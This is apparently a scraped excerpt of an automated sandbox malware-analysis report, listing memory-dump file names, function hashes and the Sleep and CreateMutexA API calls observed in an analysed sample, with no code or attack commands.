Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5f1812f276a3099c82b511b9cba8200ae98a6d21f69e1c7943279abffd63c372
Instruction ID: 1efa2f3ddf9ba4be9d6fb3ea2d5300e257410d160d6e2d50f871b8f874e2b8b6
Opcode Fuzzy Hash: 5f1812f276a3099c82b511b9cba8200ae98a6d21f69e1c7943279abffd63c372
Instruction Fuzzy Hash: 6B3136717042049BEF18DB68DCCDBAEBBB2FB86314F308658E4249B3D1C7759A818755

Uniqueness

Uniqueness Score: -1.00%

Function 00C49C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 67acebbd29d726149d3e4d7a7d94aa20ed0801e22bbba746695af8d45f734d75
Instruction ID: caa6495c7be65d397ad4dc61afe3d9d825d7a2cc2ddeb33828c0f5e345fa2559
Opcode Fuzzy Hash: 67acebbd29d726149d3e4d7a7d94aa20ed0801e22bbba746695af8d45f734d75
Instruction Fuzzy Hash: 91314771B441009BEF08DF78CC8DBADBBB2FB86310F208658E4249B3D1D7759A818755

Uniqueness

Uniqueness Score: -1.00%

Function 00C49EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c669bfa546d7f0dd906fda6a5fc120b52c6ec114210c5acc723a82956b086d9c
Instruction ID: 1b0bb4c8f1f21d2c83123a043be2ad37a32d4e51560d7871907dabadf8351a50
Opcode Fuzzy Hash: c669bfa546d7f0dd906fda6a5fc120b52c6ec114210c5acc723a82956b086d9c
Instruction Fuzzy Hash: B83177717001009BFF08DBB9CC897AEBA72FB86310F209218E425D72D6D7758A859761

Uniqueness

Uniqueness Score: -1.00%

Function 00C4A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f497c42b4f8db4b75cb7aebcff5bab0e0714bea49afd30ab6c9068ae6c09c255
Instruction ID: 239f998579336666ac0c53f6252a82f9f309388b16453c3277b0daf05a5cdcc7
Opcode Fuzzy Hash: f497c42b4f8db4b75cb7aebcff5bab0e0714bea49afd30ab6c9068ae6c09c255
Instruction Fuzzy Hash: 443128717801009BEB08DB78CC8D7ADBA72FB86315F208268E425972D2C7759AC59762

Uniqueness

Uniqueness Score: -1.00%

Function 00C4A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
